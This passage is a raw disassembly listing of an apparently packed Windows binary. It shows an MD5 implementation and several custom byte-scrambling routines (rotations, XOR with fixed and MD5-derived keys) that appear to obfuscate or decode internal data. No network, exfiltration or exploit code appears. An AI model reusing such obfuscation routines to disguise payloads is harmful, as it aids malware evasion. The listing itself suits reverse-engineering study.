locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: .packed:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EB94 call sub_40F26E pop ecx pop ecx lea eax, byte_41EB94 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EB94[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: .packed:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EBA8 call sub_40F26E pop ecx pop ecx lea esi, dword_41EBA8 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EBA8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EBA8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _rotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _rotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _rotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _rotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, 